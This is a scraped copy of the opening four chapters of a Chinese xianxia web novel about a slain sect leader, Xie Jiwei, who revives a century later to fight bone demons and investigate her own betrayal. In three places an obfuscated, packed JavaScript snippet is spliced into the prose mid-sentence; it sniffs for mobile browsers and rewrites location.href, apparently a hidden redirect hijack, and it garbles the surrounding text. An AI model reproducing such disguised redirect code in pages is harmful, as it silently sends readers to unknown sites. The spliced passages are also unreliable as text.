《修真界白月光回来了》 1. 逢魔 悬崖之上狂风呼啸,无形的剑气充斥天地,寒意纵横凛冽,切割着源源不断从悬崖上方跳下来的白骨魔。 谢济微独自站在崖上,纷飞的衣袂下长剑剑身光滑如镜,忽然映出一具狰狞的白骨,不知何时来到了她身后,指骨锐利,正欲掏她心口。 然而谢济微头也不回,抬手便是一剑斩出!那一剑疾如闪电,白骨下意识想躲开,但它的动作还是慢了一拍,长剑划过它的脖颈,整个头颅瞬间飞了出去。然而剑势没有半分受阻,紧接着将后面的骨魔斩为两半。 这一击显然震慑了骨魔,一时间攻击变缓了。谢济微以剑拄地,微微喘息,身周剑气却慢慢减弱。 ——不知从何时开始,这方天地的灵气竟然完全消失,鏖战三天三夜,她全靠丹田内大乘期修为深厚的灵力支撑,到如今却已经是强弩之末了。 骨魔很快看出她已到极限,更加疯狂地向前冲来,狂风骤雨般的攻势在她身上留下无数伤口,殷红的血液浸湿衣襟,黑色的雾气如附骨之疽般从她的伤口侵入,沿着她的经脉飞快破坏着她的身体。 谢济微单膝跪地,面色苍白,内府剧痛无比,那样的痛楚不亚于凌迟,然而她的神色没有半分变化,只是用力握紧了剑柄,将仅存的灵力尽数搜刮殆尽,灌入剑身。 然而她似乎察觉到了什么,忽然抬头。只见不远处竟然站了一个人,不知已经看了多久。注意到她的视线,那人慢慢走过来,在她面前站定。 谢济微其实已经有点神智涣散了,她眼前一片模糊,甚至连这人的面容也看不清楚,只觉得这人的身影和气息有一种毛骨悚然的熟悉感。 她勉力抬头,想要看清面前人的脸,却听见“呛啷”一声利剑出鞘,随即一把长剑剑尖抵住了她的咽喉。 那人轻柔地说:“别这样看我,我和它们不过各取所需罢了。待你死后,仙盟落于我手,自然不会让它们好过。” “不过在那之前,”那人语调忽而阴冷,寒意彻骨:“再见了,——宗主。” 寒芒一闪而过,浓雾一拥而上将她吞噬,连意识都化为混沌。她闭上眼睛,任凭身体不断往下坠落,直到黑暗深处。 * 不知过了多久之后,谢济微慢慢睁开眼睛。 黑沉的天空下着细雪,雪落到干枯的地上,白茫茫一片。一片雪花轻轻掉在她的面颊上,她轻微地眨了一下眼,雪花很快融为水,从她的脸上滑落,没入发间。 死前的景象仿佛还在眼前,刚刚醒过来的身躯冰冷僵硬,她的手指微微一动,摸到了熟悉的剑鞘纹路,终于感到略微安心。 死而复生之前,她经脉寸断,一身修为早已随着千疮百孔的的身躯化为虚无,只剩一点灵力还留在剑中。所幸这把剑陪伴她许久,已经生出灵性,即使她死后,也不愿回到剑冢,始终跟着她。 她扶着身旁的树干坐了起来,却听到不远处传来急促的脚步声,随即便见一个人从山壁后面转了出来。 来人看上去年龄不大,神色异常疲惫,肩膀处受伤了,血液浸湿衣襟,顺着她持剑的手不断往下滴落。 那人看到谢济微,却是一惊,然而很快就发现她身上毫无灵力痕迹,似乎只是一个凡人。她立刻转过身去,随即石壁后面咯吱一声脆响,紧接着一具白骨出现在了两人面前。 她手中长剑渐渐浮动一层灵力,却见白骨停顿住了,和她身后的人对视了几秒后,空洞的眼眶骤然燃起一点猩红的火光。她心中暗道不妙,只见白骨以迅雷不及掩耳之势撞开她的剑,径直往她身后那人冲去! 谢济微没有动,直到白骨冲到她面前、向她的咽喉抓过来时,才一侧身,抱剑站了起来。 白骨一击未中,反手又是一记,喉咙里含糊念道:“……复活……杀……谢……济……” 谢济微眉心微微一跳,横剑一挡,剑身死死卡住骨手,道:“你认错人了。” 手上的力道大得惊人,谢济微虎口发麻,忽然看向白骨身后,惊喜道:“破厄仙君!” ——破厄仙君名讳谢济微,陨落百年后对于骨魔的震慑力还是相当大。那一瞬间白骨脸上竟然出现了类似惊恐的神情,它转过头去,却没看到人,立刻意识到自己被骗了。然而没等它反应过来,谢济微便拔剑出鞘,一剑将其头颅斩落! 白骨头颅掉下,一路骨碌碌地滚到另外一个人脚边。那人和头颅对视片刻,沉默半晌,本以为要见到惨案发生,凶手却被干净利落地解决了,一时心情大起大落,竟然不知作何反应。 谢济微收剑回鞘,走过去关切道:“没事罢?伤势严重么?” 那人抬头,却愣住了。只见面前的人面容秀美昳丽,即使脸色因为久病未愈而苍白异常,仍然难掩那种惊心动魄、超脱凡世的美。 那人很快意识到自己竟然看着这个素不相识的人走了神,耳根不禁微微一红,道:“无恙。在下青溟山薛盈之,不知道友如何称呼?” 谢济微道:“在下易如书院谢微。” 薛盈之神色微变,修士大都不止精于一道,像她便是主修阵法,但也略通剑道,易如书院专教阵法、符咒,收的弟子不设门槛,所以谢微虽自称是易如书院弟子,刚才斩魔的一剑却精妙绝伦,也不足为奇;这个禁地古怪异常,她只不过待上两天,却察觉灵力运行滞涩,如果时间一长,恐怕就会灵力尽失,所以谢微虽是修士,但身上毫无灵力痕迹,也可以理解;奇怪的是她的名字——谢微,很容易联想到破厄仙君谢济微。 其实只因为名字相似,就怀疑两人有关系是极其荒谬的。毕竟早在百年前,谢济微留在池诸山的命牌就已随着她的陨落而破碎。但是此地距她埋骨之地不过百里,而破厄仙君的死亡又向来争议颇多,也不怪薛盈之心生疑虑。 却见谢济微微笑道:“我自幼无父无母,幸得书院救助,才得以存活,于是取‘谢’为姓,意为敬谢天地;又取‘微’为名,告诫我辈乃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313348|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天地一微尘,不可狂妄自大。和破厄仙君只一字之差,倒是巧合了。” 她这一笑顾盼生姿,看得薛盈之又是一呆,听她继续道:“破厄仙君名为济微,想必是有济毫末之微的意思。仙君庇佑一方数百年,然而我却始终未能拜见仙君,” 她仔细看薛盈之神色,神情也跟着变得悲痛:“没想到仙君以身饲恶,就此陨落,我虽与仙君姓名相似,却缘悭一面啊。” 她这一番话着实说到薛盈之心坎去了,谢微没有见过破厄仙君,她又何曾见过?即使有画像,也不比面对面见上仙君一眼。按理来说破厄仙君陨落多年,她对仙君的印象只是停留在各种传说中,然而青溟山曾遭遇灭门之灾,破厄仙君一人一剑有如神兵天降,血战一天一夜,将仇敌逼退,长佑青溟山百年,她可以说是听着门派长辈讲破厄仙君的故事长大的,对于仙君的事迹,可谓烂熟于心;仙君殉道,更是令她钦佩无比,却又叹息无比。 这下薛盈之不禁对谢微心生亲切之情,她毕竟年龄不大,有什么情绪都摆在脸上,谢济微只是一看,便知自己猜对了,她现在应该被认为和那一悬崖上的“魔”同归于尽了。她心中微微一松,正想再问,却听见身后几声异响。 只见那具缺了头颅的白骨颤颤巍巍地站了起来,在原地转了半圈,竟然向两人冲了过来! 薛盈之向前一步,连出三剑,她修为尚浅,这三剑却凌厉非常,将白骨逼得退后一步。然而白骨却一手抓住了剑刃,仿佛感受不到痛觉一般,将剑往后一拽,另外一只手指骨变长变尖,向着少女心口位置抓去。 少女踉跄几步,一直攥紧的左手忽然摊开,只见掌心处赫然闪烁着金色的阵法纹路,随即一掌拍到白骨的胸口!金色的纹路瞬间蔓延到白骨全身,将它钉在了原地。 那一闪而过的纹路倒映在谢济微的瞳孔中,她微微蹙眉,只见虽然控制住了白骨,但是薛盈之不见松懈,仍然警惕地盯着白骨。果然不过片刻,白骨全身关节发出脆响,随即重新动了起来。 薛盈之收剑回鞘,手掌掌心金光闪烁,正是她刚才藏于手中的阵法。正当阵法快成型时,忽然听到谢微道:“不对。” 薛盈之一愣,谢微继续道:“乾坤无极、泣血盈如……最后一笔,应当是履上下,以斩无常。” 薛盈之听出来,这说的正是她使用的阵法,只是结阵的那一笔,却和她用的截然相反。这个阵法乃是除魔阵法,由仙盟传自各门各派,据说可以使邪魔——也就是白骨分崩离析,但是她用出来,却只能控制住白骨一瞬。难道阵法真的不对? 白骨尖锐的骨节破空而来,已经逼近到她的眉心,谢微的灵力已经耗尽,单纯用剑也只能阻挡骨魔一瞬,而她的丹田位置已经开始隐隐刺痛,显然到了极限。 只是犹豫了一瞬,她手间的阵法顷刻成型,轰然拍出!金光一闪,那追杀她许久的白骨,竟然就此崩塌,化为一堆粉末,又被轻轻一吹,消失在了雪地中。 2. 同生 薛盈之松了一口气,长久绷紧的神经终于得以放松下来。 她转身看向谢微,刚才的疑问涌上心头:“我刚才的阵法,竟是错的么?” 谢济微思忖片刻,道:“应该有效,不过或许因你灵力不足,所以无法完全生效。我改那一笔,只是稍稍提升了阵法的效果。” 薛盈之点头,忽然想起之前谢微通过破厄仙君使白骨分心,自己听到时也吓了一跳,不禁问道:“你如何想到用破厄仙君诈那骨魔?” 谢济微道:“当年仙君杀了许多骨魔,想必余威犹在,这里离她身陨之处不过百里,我也只是想试一下,没想到成功了。” 薛盈之点头赞同,对她生出几分钦佩之情,连带着之前的警惕都消失得无影无踪了。于是谢济微继续随口一问,薛盈之便把如今世间的情况如竹筒倒豆子般说了个干净。 原来百年前破厄仙君身死之后,仙盟成立,戮恶仙君傅寒川担任首座,将破厄死亡之地方圆百里划为禁地封锁,广告天下邪魔滋生,来势汹汹,破厄仙君为护众生,以身殉道,为天下生灵取得一线生机;又发布除魔阵法,令各门各派研习以对抗邪魔,并需派弟子在门派周围巡逻,以及时消灭邪魔…… 种种措施,遏制了魔生长扩散的速度,如今天下倒称得上太平,也不算辜负破厄仙君的遗愿了。 谢济微纵横天下数百年,套一个少年人的话轻而易举,薛盈之还不觉得有异,谈到戮恶仙君时,只听她忿然道:“破厄仙君之死必有蹊跷,她已经大乘期圆满,半步渡劫之境,放之天下,又有谁是她的敌手?恐怕只有亲近之人用阴谋诡计,才能伤得了仙君。” 谢济微有点意外,想了想,道:“破厄、戮恶仙君少年夫妻,情深意笃,如果破厄仙君死因有异,戮恶仙君定会追查到底罢?” 谁知薛盈之更加愤怒了:“傅寒川常年居于仙君之下,破厄仙君一死,他获益最大,借着仙君留下来的筹划平定邪魔,坐上仙盟首座,加之他是仙君道侣,无人敢动他地位,都尊他为天下第一人。仙君早已知除魔之术,对付邪魔却出了意外,定是有人暗中作祟,可是除了傅寒川之外,又有谁能夺得仙君信任、杀了仙君?又有谁竟然敢对仙君下手,不怕池诸山查明真相?” 这下真的出乎谢济微意料了,在她的设想里,傅寒川按照她留下的计划除魔,即使不能获得和她生前死后相当的威望,至少仙盟首座应该是坐得实至名归,没想到现在竟然担上了弑妻的名声,并且傅寒川似乎并不打算澄清,——按照他的手段,解决这些传言只是举手之劳。 她看了看薛盈之,决定等出去之后再仔细打听,以免她越说越上火。薛盈之也意识到自己失言了,连忙道:“青溟山受仙君恩惠,涉及仙君之事,难免有考虑不周之处,还请见谅。” 谢济微表示理解:“你我二人也算共患难了,我断不会说与他人听。” 薛盈之松了口气,岔开话题道:“我外出巡逻,却发现我师叔踪迹,一路寻来,不知为何误入禁地,失了师叔踪迹,又被骨魔追杀。你呢?” 谢济微道:“我被仇家追杀误入此地,已经困在这里许久了。” 薛盈之看她不像愿意多说的样子,便不多问,忽然觉得怀中似乎有东西微微发热,便拿出来一看,只见是一个寻踪罗盘。 罗盘在进入禁地后就一直乱转,但此时却直直指向了一个方向,说明目标距它非常近。薛盈之不禁喜道:“师叔就在附近!” 她看向谢济微,问道:“我要去找师叔,此处凶险,你可愿与我结伴同行,也好有个照应?” 谢济微没有拒绝的理由,欣然答应了。 两人跟着罗盘走了一段路,果然见到了一个人。只是那人躺在地上,身上血迹斑斑,不知死活。 薛盈之叫道:“师叔!”连忙快步上前,半跪在地看他伤势。 片刻后那人悠悠醒转,见到薛盈之,一怔:“盈之?” 薛盈之扶着他坐起来,那人看到不远处的谢济微,不禁向她看去。 那人直勾勾地看着她,眼神似乎藏着点什么,谢济微心中一动,却见那人已经移开视线。 薛盈之道:“阿微,这是我师叔李煅节。师叔,这是易如书院谢微。” 她将自己如何误入禁地、被追杀、遇到谢微的经过简单讲了一遍,又问:“师叔,一个月前,掌门说你失踪了,派了许多人去找,一直都没找到。可是出了什么事?” 李煅节道:“半年前我去吊唁华岐仙君,离开时,却遭人袭击,不省人事,再醒来时,便见到你们了。” 薛盈之担忧道:“师叔可察觉身体有异?” 李煅节感受片刻,摇头道:“我没有发现异常,需回去待掌门师兄再细细查看一番。当务之急,是要尽快从禁地里出去。” 薛盈之问:“师叔可知如何离开此处?” 李煅节点头道:“此处乾坤颠倒,星辰反转,只需与平常方向反着走,一路往南,便能去到青溟山境内了。” 薛盈之抬头一看,只见天空繁星闪烁,北斗七星格外亮眼。于是三人顺着天上星辰一直反着走,一路上积雪皑皑,不久便逐渐融化,连带天际也逐渐变亮,北斗七星也隐没不见了。 见此,李煅节道:“此处天象由禁地大阵所定,快出禁地了,自然不必再用星辰指路。” 薛盈之于是非常高兴,本以为这次不是被怪物杀掉,就是困在禁地走不出来,没想到还能活着出来,还找到失踪的师叔,正想快步往前走,突然听到谢济微道:“谁在那里?出来!” 一路走来,谢济微的语调始终非常平和,两人从未见过谢济微喝斥,这下不禁一怔,心里生起几分莫名的敬畏之感,却见不远处的湖面一动,竟然窜了一团黑雾出来。 李煅节立刻拔剑,问道:“什么人?”其实问什么怪物更为准确,因为那黑雾停顿了片刻,便在眨眼间将三人团团包住,仓促之间,李煅节和薛盈之只来得及将谢济微护在身后,一人使剑,一人结阵,勉强抵抗。 然而黑雾毫发无损,薛盈之不禁心中焦躁,出去的希望近在眼前,可是却突然出来了一个拦路鬼。 在禁地待久了,灵力早已接近枯竭,他们恐怕都撑不了太久,而谢济微灵力全无,更是无法抵抗。想到如此,薛盈之手上攻势不禁加快,却将黑雾逼退了几分,但已经可见是强弩之末了。 谢济微趁两人不察,伸手轻轻碰了一下黑雾,黑雾顷刻将她的指腹划开一道伤口,殷红的血珠流出来,却又诡异地蒸发在半空中,将黑雾烧得咝咝作响。 ——在那一瞬间,竟然有微弱的灵力,从黑雾里浮现出来,盘旋在谢济微受伤的手上。修士的灵力独一无二,向来可以通过灵力痕迹轻易辨别修士身份,而她从这份细微的灵力中,察觉出了一丝熟悉的气息。 谢济微若有所思,略微偏过头,温和道:“可否借剑一用?” 她身上没有任何灵力痕迹,用剑也没法打退黑雾,然而她的声音仿佛有某种奇特的说服力,让薛盈之不自禁地想抽出剑递给她——然而没等她的手搭上剑柄,却见谢济微伸出手,手心向上,随即她的剑竟然自己从剑鞘中跳出,径直落到了谢济微的手中。 薛盈之还没反应过来,便见谢济微持剑向前两步,连出五剑!那五剑完全不带灵气,却在刺进黑雾时留下五道痕迹,随即那五道剑印微微发光,竟然将黑雾钉在了原地,随即便逸散不见了。 薛盈之一时间震惊难言,只觉得方才所见皆超出了认知范围。却见谢济微转过身,松开长剑,那剑便又跳回到薛盈之的剑鞘中。 李煅节道:“道友的剑法如此精妙,不知师承哪位仙君?” 谢济微道:“一介散修罢了。我也有一个问题想问,不知道友可愿为我解答?” 李煅节笑道:“请讲。” 谢济微道:“我观道友已是化神期,然而方才遇敌时,道友出招,不过在金丹水准。” 李煅节道:“我在此地不知昏迷了多久,灵力已快消耗完毕,道友比我困在此地的时间还要长,应该知晓此事罢?” 薛盈之听出不对,看看这个,又看看那个,只见谢济微微笑道:“不错。但即使灵力再少,也无法掩盖它的痕迹。刚才我在那黑雾中发现一点灵力,与你出剑时虚弱的灵力,竟然非常相似。” 李煅节神色微变,谢济微继续道:“想来有一件事你不知道,这个禁地大阵尚有缺陷,对于化神期以上修士近乎毫无影响。” 话音刚落,李煅节神情骤变向后疾退,只见谢济微悍然拔剑,出鞘的那一瞬间剑身嗡鸣,恍然间竟然听到万千厉鬼哀号,呼啸着向他狂奔而去! 她出剑太快,李煅节仓促对了几招,往后连退数步,忽然周身气息一变,黑色的雾气迅速从他身上涌出来,使得谢济微的剑势一缓。 薛盈之:“——!” 那黑雾和先前出现的怪物一模一样,然而谢济微似乎早有预料,闪身避开,随即将剑刺入黑雾之中。 那一瞬间仿若一滴水掉入油锅中,黑雾“噼啪”地燃烧起来,随即里面传来李煅节的惨叫声。 黑雾渐渐淡去,露出里面人扭曲狰狞的脸。他冷冷地看了谢济微一眼,转身便向另一边的薛盈之冲去! 变故发生得太过突然,待李煅节来到她面前时,薛盈之还没反应过来,只是下意识地结了一个除魔印。 谢济微喝道:“动手!” 薛盈之一个激灵,身体快于大脑作出反应,一掌拍出。 金色的纹路快速遍布李煅节全身,他僵在了半空中,身周黑雾逐渐散去,随后无力地倒在了地上。 薛盈之不知如何是好,只能求助地看向谢济微。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人似乎轻轻笑了一下,淡淡道:“那请吧。来人,带他去做‘同生’。” 随后的时光如走马观花般一一出现,一开始他割下血肉送去丹房,满心期待;然而时日渐长,却迟迟未炼出丹药,他逐渐焦躁,却一次次被借口推脱。 终于他察觉出不对,想提剑去一问究竟,却发现竟然控制不了自己的行为,仿佛有另外一个人接管了他的身体。随后他被关押进一个地方,有人给他一沓画像,让他去杀人。 他无法完全夺回身体的控制权,却能在关键时刻勉力操控,干扰体内另外一个人,让他次次都差一点得手。 如此这般几次之后,另外那一个人对他身体的掌控权逐渐减弱,但是他自己的神魂也在厮杀中变得虚弱,神智浑浑噩噩。似乎觉得他没有利用价值了,囚笼外的人对他的看守也变松了,于是他便借机逃了出来,凭借本能逃到一个地方。 在为数不多清醒的时候,他躲在阴影里,看他的爱侣在树下枯坐,偶尔有人拜访,便满怀期待地前去,却往往失望而归。 他看她逐渐愁绪满面,时而潸然泪下,不禁心如刀绞,却无法将她再一次揽入怀,——他害怕自己会随时会变成那个面目可憎的怪物。 后来之前看守他的人不知如何找到了他,将他扔到了禁地中。来到禁地之后,他反而如释重负,觉得这样也不错——在这片人迹罕至的地方,只有他和邪魔相互厮杀,直到他倒下的那一刻。 于是他的意识逐渐沉沦,身体完全被杀戮操控,直到最后,才终于清醒过来。 谢济微回过神来,只见短短时间内,李煅节的神色快速衰败下去,连青丝也变成雪般的白色。 他道:“前辈,我……我未曾负师门教诲,被操控时,从未杀过一人……” 谢济微心中一痛,柔声道:“我知道,你已经做得很好了。” 李煅节叹息道:“只可惜……唯负一人,不及黄泉……不相见。” 一滴泪从他眼角滑落,他慢慢闭上眼睛,没了生机。随后身躯化为黑雾,消散在了空中,只留下一块玉牌当啷一声掉到了雪地上。 薛盈之失声痛哭,而谢济微看着他的脸,又想起了第一次见到他的时候。 那时他不过八九岁,还没有入道,站在他师兄身后,脸上灰扑扑的,睁大眼睛好奇地看着她,小声说,师兄,这是仙人吗? 后来他经常拿着把木剑缠着和她切磋,即使被一招打翻,却也不沮丧,只是爬起来,眼神亮得惊人。 她没在那里待多久,不久后便离开了。之后听说青溟山掌门的师弟天资卓绝,年纪轻轻已经结丹,她听闻后,也觉欣慰,只是不曾想,再一次相见,却是如此光景,从此天人永隔。 3. 鸿鹄 薛盈之收好李煅节的玉牌和剑,两人便一起继续往前走了。 又向南走了一小段路,前方豁然开朗,只见远处群山郁郁葱葱,其中一座山峰拔地而起,直冲云霄,正是青溟山。 薛盈之向前快走几步,一路压抑的心情终于得以放松片刻,正想走到前方探路,却觉得不对,俯身捡了一块石头,用力向前扔过去,只见石头像是触碰到了什么看不见的东西,竟然消失在了半空。 薛盈之悚然,一阵后怕,连忙退到一边。她沉思片刻,抬手结了一个阵,又看看谢济微,见她没有阻止,便小心翼翼地上前,将手中阵法轻轻一推,随即也融入到了半空中。 下一秒,阵法消失的位置陡然亮起红光,随后迅速向周围蔓延、扩散,勾勒出一个巨大的、无边无际的巨型法阵,覆盖近百里。 “这便是禁地大阵……”薛盈之惊叹。 谢济微站在她身后,闪烁的红光倒映在她的眼底,那纹路繁复却又异常熟悉,让她一时间有些恍惚。 “……师姐……” 绯红色的花瓣纷纷扬扬飘落,她握着身前人的手,教他落下最后一笔。法阵已成,她正想放手,却被紧紧握住了,身前的人转过头来,笑道:“有师姐在,就算学了,以后也不用自己画阵。” 面前的人剑眉星目、眉飞入鬓,俊逸非常,明明是桀骜不驯的脸,对她笑起来的时候,却那么温暖柔和,那么专注,仿佛眼里只有她一人。 她没有回答,只是用另外一只手为他轻轻拂去肩上的落花。他的眼神逐渐变得炙热,站起来低头亲吻她,抓住她的那只手慢慢和她十指相扣,另外一只手紧紧搂着她的腰,力道不大,却很有存在感。 拥抱、亲吻,在那片绯红色的花海里,有一瞬间她甚至希望让时间就此凝固,让他们永恒相拥,直到沧海桑田、海枯石烂。 …… 谢济微慢慢眨了一下眼睛,回过神来。那其实只是很短的时间,薛盈之甚至没有发现她的走神,还在仔细观察禁地的法阵。 薛盈之扭头道:“你可知如何解开阵法?”她的声音里有一点微不可察的希冀,显然对谢微的实力十分信任。 谢济微为难道:“此阵我也只是听说过,若想解开,恐怕不是易事。”她话锋一转,又道:“不过我看这阵暗藏玄机,或许可以破开一个小口,让我们出去。” 于是薛盈之就与她一起尝试破阵,尝试了几次失败之后,谢济微估计时间也差不多了,便道:“之前或许有误……”又改了几笔,这一次法阵终于动了,从两人面前裂开一道可供一人通过的裂缝。 池诸山主殿。 傅寒川忽然微微一动,旁边的人立刻停下交谈,齐齐望向他。 其实破厄仙君还在的时候,傅寒川的性格便是相当冰冷强硬,只是在谢济微面前会有所收敛。 当时一应事务都由谢济微处理,所以还不觉得有什么问题,但是当他开始担任仙盟首座时,其他人才惊觉这个人非常不好相处,并且随着岁月的流逝,他愈发变得沉默寡言、喜怒不形于色,因此当他似乎要说些什么的时候,所有人都屏息凝神,一时间殿内落针可闻。 傅寒川闭了闭眼睛,沉默半晌,示意他们继续。 他随手拿起手边的信件,只见这是青溟山掌门前几日送来的信件,大意是他师弟一个月前失踪了,至今没有音讯,因此门内弟子外出巡逻的时候,他在他们身上放了定位符,结果发现有一个弟子竟然闯进了禁地,希望傅寒川能派人把这个弟子救出来,并顺带留意一下他师弟的行踪。 傅寒川在“禁地”两个字上停留片刻,突然问道:“事关禁地,为何三日前的信件,现在才送到?” 他说话的语调没有半分情绪,但是旁边的人已经听出了几分责备之意,当下冷汗就下来了,壮着胆子回答:“信鹤路上遇到了‘鸿鹄会’设置的禁飞区,绕了远路,因此迟了一日。” 傅寒川没有再说话,只是长久地凝视这封信件。最后他将信放下,站起来,淡淡道:“我亲自去一趟。这件事,不可与他人说起。” 还没等旁边的人反应过来,他的身影已经消失在了原地。 * 回青溟山的路上没出什么岔子,薛盈之本以为出了禁地之后,两人就会分道扬镳,但她不知为何不想太快与谢微分离,便尝试邀请谢微到青溟山暂歇几日,没想到谢微答应了。于是薛盈之非常高兴,又找出一个帷帽,让谢微戴上。 回到山上,薛盈之先安抚了一下热泪盈眶、激动不已的同门,随后领着谢微拜见了掌门。掌门似乎已经知道师弟出事,看到那块玉牌时只是叹息,随后让薛盈之先去养伤休息。 等两人都走了,他的目光落到了一旁戴着帷帽的谢微身上,不知为何,当他第一眼看到这人的时候,就有一些不安,那种感觉并不像是遇到危险,而像是有什么大事即将要发生了。 谢济微看看周围无人了,便掀开了帷帽,笑道:“好久不见了,煅青。” 一看到她的脸,掌门目瞪口呆,一时间竟忘了说话。很快他反应过来,迅速将大门关上,又连续下了几个禁制,才颤声道:“仙……仙君?” 谢济微点头道:“当年我教你剑法时,你还没筑基,没想到几百年不见,你已到洞虚之境了。” 当年之事,只有掌门和几个人知道,另外那几个人早已去世,还知道这件事的,只有掌门自己,还有眼下死而复生的破厄仙君。 掌门已经信了七八成了,但是破厄仙君已经死了那么久,百年来都未有转机,乍然得知她还活着,还是很受冲击。 谢济微看了看他,又补充道:“我出事之前,偶然得知当年剑谱的纰漏之处,可惜来不及告诉你,只能匆匆写下,让寒川转交。”她停顿了一下,笑道:“想来应该是交到你手上了,否则你也只能止步化神了。” 当年青溟山遭遇灭门之灾,师门长辈尽数被屠戮殆尽,他由于还没筑基,修为太过微弱,被师父藏在暗处,逃过一劫。 仇敌还想放火将青溟山百年根基毁之一矩,但是被赶来的谢济微拦下了,他也就此得救,然而藏书馆内的典籍已经被烧得七七八八,即使尽力抢救,青溟山的剑谱,也只剩一大半了。 于是谢济微留下,帮他勉强修复了剑谱,又告诉他剑谱有缺,如果他执意要练,恐怕始终进入不了洞虚之境。 剑谱乃是门派之密,这段往事便只有他和谢济微知晓。这下掌门已经全信了,薛盈之修为不够,但他一眼便看出谢济微身受重伤经脉寸断,连忙让谢济微坐下。 谢济微道:“当年我以身殉道,侥幸夺得一线生机,然而一直昏迷,直到前几日才醒过来,遇到盈之。” 方才薛盈之已经将经过讲得七七八八了,谢济微又简单补充了一点。 掌门问道:“那煅节……仙君如何看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313350|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢济微神情变得凝重:“恐怕与邪魔有关。” 掌门很少见过她这样的神色,神色也跟着严肃起来,道:“百年来,只有白骨形态的邪魔出现过,像……像煅节这样的,闻所未闻,见所未见。” 谢济微道:“我本也以为邪魔只能以白骨现身,当年我封印邪魔的时候,便只见过白骨。然而与他过招时,竟然发现他的气息和产出邪魔的那道裂缝极其相似。” 掌门倒吸一口凉气,听谢济微继续道:“这百年间,邪魔想必在暗中筹划已久,出现一些更强大的、和白骨不同的‘魔’也不足为奇。白骨没有痛觉,攻击力强悍,而这种新的‘魔’,应当可以操纵修士,煅节便是被操控了,或者说,被‘魔’夺舍了。” 掌门的脸色变得异常难看,一个修士,哪怕只到金丹期,都有翻云覆雨的能力。这也是为何修真界约定俗成修士禁止插手凡间诸事的原因,只要修士愿意,覆灭一个国家只是举手之劳。现在邪魔能够操控修士,如果一时不察,便会生灵涂炭、人间炼狱。 谢济微看他神情太过沉重,安慰他道:“眼下看来,这种‘魔‘的力量尚且有限,也无法完全侵蚀煅节,否则天下早已大乱。趁邪魔还未成长完全,还有挽救的机会。” 掌门看着谢济微,便也渐渐镇定下来,道:“仙君打算如何下手?可有我能帮忙的地方?” 谢济微道:“煅节先前告诉我,‘鸿鹄会’上可能生变。我听说半月后‘鸿鹄会‘即将开始,许多修士应邀前往,我打算先去一探究竟,看看有没有修士也被’魔‘侵蚀了。” 掌门思索了一下,终于想起鸿鹄会是什么了。 这是华岐仙君一手主办的交流会,广邀天下修士。据传他会在会上展出珍贵典籍供大家观阅,因此也吸引来众多修士。 这华岐仙君却是一位奇人,修士不会与凡人交往过深,盖因凡人寿命不过百年,百年之后凡人与世长辞,徒留修士黯然神伤,如果不慎,可能就此心神动摇,跌破境界,严重者甚至会有性命之危。然而华岐仙君竟然找了一名凡人作为道侣,并且宴请四方,行天地结契礼。当时华岐仙君的举动令不少修士大为震惊,甚至有人为他写诗作歌,称赞他用情至深。 “可惜情深不寿,”掌门唏嘘道:“华岐仙君半年前仙逝了,我还派师弟前去吊唁。本来鸿鹄会要停办了,没想到华岐的遗孀说要完成他的遗愿,于是又继续办下去了。” 谢济微不置可否,只是微微一笑。 “对了,”掌门从储物袋中取出一个晶莹剔透的玉瓶,只见里面一朵形状特异的花摇曳生姿,发出莹莹蓝光。“师父临终时嘱托我,待‘肉生骨’结出一朵,便摘下,亲自交到仙君手中。五十年前正好长成一朵,没想到今日真的能交给仙君。” 谢济微低头看着这株花,又听掌门恳切道:“当年仙君救青溟山于水火之间,青溟山上下无以为报,只希望能帮到仙君一二。若无仙君,‘肉生骨’早已不存在了,这只是它结出来的一朵花,还请仙君务必收下。如果师父泉下有知,想必也会高兴的。” 谢济微沉默半晌,终于接过了。她的手指修长有力,指腹遍布剑茧,是一只常年握剑的手。她的侧脸在烛火照耀下温润如玉,仿佛一尊完美无瑕的玉雕。 掌门看着她,一瞬间竟然觉得时过境迁,他已经早生华发,然而谢济微还如初见一般,似乎岁月格外眷顾,从未在她身上留下痕迹。 4. 擦肩 “还有一个人呢?藏起来了?” “这边还没找!把那几个兔崽子抓起来捅几刀,老东西还能忍住不说?” 他蜷缩在暗格内,外面火光滔天,粗俗的怒骂声、痛苦的呻吟声不断钻进来。 嘈杂的脚步声越来越近,他颤抖地抱紧自己,死死咬紧嘴唇,不让自己发出一点声音,却听到外面有人说:“原来藏在这里……真是让我一顿好找。” 暗门被一把拉开,他瑟缩了一下,却没有感受到预期中的疼痛。 他悄悄睁开眼睛,余光中看到一道寒光闪过,紧接着所有声音都消失了,一片死寂。 他犹豫地扭头往外看,却看见外面横七竖八倒了一地的尸体,只有一个人还站在原地。 ——那人手持长剑,剑身上新鲜的血不断往下滴落,袍袖上血迹斑斑,眉眼间杀意未消。 察觉到他的视线,她抬头一笑道:“没事了,别害怕。” 